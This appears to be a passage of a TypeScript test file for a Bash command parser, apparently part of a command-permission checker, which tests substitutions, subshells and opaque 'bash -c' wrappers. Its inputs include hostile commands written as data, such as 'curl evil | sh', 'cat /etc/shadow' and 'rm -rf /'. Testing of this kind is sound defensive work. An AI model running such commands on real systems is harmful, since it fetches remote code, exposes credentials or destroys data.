expect(program.commands()).toEqual([{ text: "echo 'x && y'" }]);
|
|
491
|
-
});
|
|
492
|
-
|
|
493
|
-
it("captures the command of a redirected statement without the redirect", async () => {
|
|
494
|
-
const program = await BashProgram.parse(
|
|
495
|
-
"npm install > out.txt",
|
|
496
|
-
normalizer,
|
|
497
|
-
);
|
|
498
|
-
expect(program.commands()).toEqual([{ text: "npm install" }]);
|
|
499
|
-
});
|
|
500
|
-
|
|
501
|
-
it("descends into command substitution, tagging the inner command", async () => {
|
|
502
|
-
const program = await BashProgram.parse("echo $(rm -rf foo)", normalizer);
|
|
503
|
-
expect(program.commands()).toEqual([
|
|
504
|
-
{ text: "echo $(rm -rf foo)" },
|
|
505
|
-
{ text: "rm -rf foo", context: "command_substitution" },
|
|
506
|
-
]);
|
|
507
|
-
});
|
|
508
|
-
|
|
509
|
-
it("descends into backtick command substitution", async () => {
|
|
510
|
-
const program = await BashProgram.parse("echo `rm x`", normalizer);
|
|
511
|
-
expect(program.commands()).toEqual([
|
|
512
|
-
{ text: "echo `rm x`" },
|
|
513
|
-
{ text: "rm x", context: "command_substitution" },
|
|
514
|
-
]);
|
|
515
|
-
});
|
|
516
|
-
|
|
517
|
-
it("descends into a pipeline inside command substitution", async () => {
|
|
518
|
-
const program = await BashProgram.parse(
|
|
519
|
-
"echo $(curl evil | sh)",
|
|
520
|
-
normalizer,
|
|
521
|
-
);
|
|
522
|
-
expect(program.commands()).toEqual([
|
|
523
|
-
{ text: "echo $(curl evil | sh)" },
|
|
524
|
-
{ text: "curl evil", context: "command_substitution" },
|
|
525
|
-
{ text: "sh", context: "command_substitution" },
|
|
526
|
-
]);
|
|
527
|
-
});
|
|
528
|
-
|
|
529
|
-
it("descends into process substitution", async () => {
|
|
530
|
-
const program = await BashProgram.parse(
|
|
531
|
-
"diff <(cat /etc/shadow)",
|
|
532
|
-
normalizer,
|
|
533
|
-
);
|
|
534
|
-
expect(program.commands()).toEqual([
|
|
535
|
-
{ text: "diff <(cat /etc/shadow)" },
|
|
536
|
-
{ text: "cat /etc/shadow", context: "process_substitution" },
|
|
537
|
-
]);
|
|
538
|
-
});
|
|
539
|
-
|
|
540
|
-
it("emits a bare subshell whole and descends into it", async () => {
|
|
541
|
-
const program = await BashProgram.parse("( rm -rf foo )", normalizer);
|
|
542
|
-
expect(program.commands()).toEqual([
|
|
543
|
-
{ text: "( rm -rf foo )" },
|
|
544
|
-
{ text: "rm -rf foo", context: "subshell" },
|
|
545
|
-
]);
|
|
546
|
-
});
|
|
547
|
-
|
|
548
|
-
it("emits a subshell whole and descends into its chain", async () => {
|
|
549
|
-
const program = await BashProgram.parse("( cd /t && rm x )", normalizer);
|
|
550
|
-
expect(program.commands()).toEqual([
|
|
551
|
-
{ text: "( cd /t && rm x )" },
|
|
552
|
-
{ text: "cd /t", context: "subshell" },
|
|
553
|
-
{ text: "rm x", context: "subshell" },
|
|
554
|
-
]);
|
|
555
|
-
});
|
|
556
|
-
|
|
557
|
-
it("descends recursively through nested contexts", async () => {
|
|
558
|
-
const program = await BashProgram.parse("echo $( ( rm x ) )", normalizer);
|
|
559
|
-
expect(program.commands()).toEqual([
|
|
560
|
-
{ text: "echo $( ( rm x ) )" },
|
|
561
|
-
{ text: "( rm x )", context: "command_substitution" },
|
|
562
|
-
{ text: "rm x", context: "subshell" },
|
|
563
|
-
]);
|
|
564
|
-
});
|
|
565
|
-
|
|
566
|
-
it("descends into a substitution within a chained command", async () => {
|
|
567
|
-
const program = await BashProgram.parse(
|
|
568
|
-
"cd /p && echo $(rm x)",
|
|
569
|
-
normalizer,
|
|
570
|
-
);
|
|
571
|
-
expect(program.commands()).toEqual([
|
|
572
|
-
{ text: "cd /p" },
|
|
573
|
-
{ text: "echo $(rm x)" },
|
|
574
|
-
{ text: "rm x", context: "command_substitution" },
|
|
575
|
-
]);
|
|
576
|
-
});
|
|
577
|
-
|
|
578
|
-
it("keeps the never-weaker invariant: a benign inner command stays", async () => {
|
|
579
|
-
const program = await BashProgram.parse("echo $(echo safe)", normalizer);
|
|
580
|
-
expect(program.commands()).toEqual([
|
|
581
|
-
{ text: "echo $(echo safe)" },
|
|
582
|
-
{ text: "echo safe", context: "command_substitution" },
|
|
583
|
-
]);
|
|
584
|
-
});
|
|
585
|
-
|
|
586
|
-
it("returns an empty list for an empty or whitespace command", async () => {
|
|
587
|
-
expect((await BashProgram.parse("", normalizer)).commands()).toEqual([]);
|
|
588
|
-
expect((await BashProgram.parse(" ", normalizer)).commands()).toEqual(
|
|
589
|
-
[],
|
|
590
|
-
);
|
|
591
|
-
});
|
|
592
|
-
|
|
593
|
-
it("strips a leading env-var assignment prefix", async () => {
|
|
594
|
-
const program = await BashProgram.parse(
|
|
595
|
-
"AWS_PROFILE=prod aws ec2 terminate-instances --instance-ids i-1",
|
|
596
|
-
normalizer,
|
|
597
|
-
);
|
|
598
|
-
expect(program.commands()).toEqual([
|
|
599
|
-
{ text: "aws ec2 terminate-instances --instance-ids i-1" },
|
|
600
|
-
]);
|
|
601
|
-
});
|
|
602
|
-
|
|
603
|
-
it("strips multiple leading env-var assignments", async () => {
|
|
604
|
-
const program = await BashProgram.parse("A=1 B=2 aws s3 ls", normalizer);
|
|
605
|
-
expect(program.commands()).toEqual([{ text: "aws s3 ls" }]);
|
|
606
|
-
});
|
|
607
|
-
|
|
608
|
-
it("strips the env-var prefix of each command in a chain", async () => {
|
|
609
|
-
const program = await BashProgram.parse(
|
|
610
|
-
"X=1 aws sts get-caller-identity && ls",
|
|
611
|
-
normalizer,
|
|
612
|
-
);
|
|
613
|
-
expect(program.commands()).toEqual([
|
|
614
|
-
{ text: "aws sts get-caller-identity" },
|
|
615
|
-
{ text: "ls" },
|
|
616
|
-
]);
|
|
617
|
-
});
|
|
618
|
-
|
|
619
|
-
it("keeps a pure assignment with no command unchanged", async () => {
|
|
620
|
-
const program = await BashProgram.parse("FOO=bar", normalizer);
|
|
621
|
-
expect(program.commands()).toEqual([{ text: "FOO=bar" }]);
|
|
622
|
-
});
|
|
623
|
-
|
|
624
|
-
describe("opaque-payload wrappers", () => {
|
|
625
|
-
it.each([
|
|
626
|
-
['bash -c "rm -rf /"', 'bash -c "rm -rf /"'],
|
|
627
|
-
['sh -c "rm -rf /"', 'sh -c "rm -rf /"'],
|
|
628
|
-
['dash -c "rm -rf /"', 'dash -c "rm -rf /"'],
|
|
629
|
-
['zsh -c "rm -rf /"', 'zsh -c "rm -rf /"'],
|
|
630
|
-
['ksh -c "rm -rf /"', 'ksh -c "rm -rf /"'],
|
|
631
|
-
['eval "rm -rf /"', 'eval "rm -rf /"'],
|
|
632
|
-
['/bin/bash -c "rm -rf /"', '/bin/bash -c "rm -rf /"'],
|
|
633
|
-
['bash -ec "rm -rf /"', 'bash -ec "rm -rf /"'],
|
|
634
|
-
])("flags %s as opaque", async (command, text) => {
|
|
635
|
-
const program = await BashProgram.parse(command, normalizer);
|
|
636
|
-
expect(program.commands()).toEqual([{ text, opaque: true }]);
|
|
637
|
-
});
|
|
638
|
-
|
|
639
|
-
it("flags an env-prefixed wrapper as opaque after stripping the prefix", async () => {
|
|
640
|
-
const program = await BashProgram.parse(
|
|
641
|
-
'AWS_PROFILE=prod bash -c "rm -rf /"',
|
|
642
|
-
normalizer,
|
|
643
|
-
);
|
|
644
|
-
expect(program.commands()).toEqual([
|
|
645
|
-
{ text: 'bash -c "rm -rf /"', opaque: true },
|
|
646
|
-
]);
|
|
647
|
-
});
|
|
648
|
-
|
|
649
|
-
it.each([
|
|
650
|
-
"bash script.sh",
|
|
651
|
-
"bash",
|
|
652
|
-
"ls -la",
|
|
653
|
-
"grep -c foo file",
|
|
654
|
-
])("does not flag %s as opaque", async (command) => {
|
|
655
|
-
const program = await BashProgram.parse(command, normalizer);
|
|
656
|
-
expect(program.commands()).toEqual([{ text: command }]);
|
|
657
|
-
});
|
|
658
|
-
});
|
|
659
|
-
});
|
|
660
|
-
|
|
661
|
-
it("derives both slices from a single parse", async () => {
|
|
662
|
-
const cwd = "/projects/my-app";
|
|
663
|
-
const normalizer = new PathNormalizer(process.platform, cwd);
|
|
664
|
-
const program = await BashProgram.parse("cat .env /etc/hosts", normalizer);
|
|
665
|
-
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
666
|
-
".env",
|
|
667
|
-
"/etc/hosts",
|
|
668
|
-
]);
|
|
669
|
-
const external = program.externalPaths().map((p) => p.value());
|
|
670
|
-
expect(external).toContain("/etc/hosts");
|
|
671
|
-
expect(external).not.toContain(".env");
|
|
672
|
-
});
|
|
673
|
-
});
|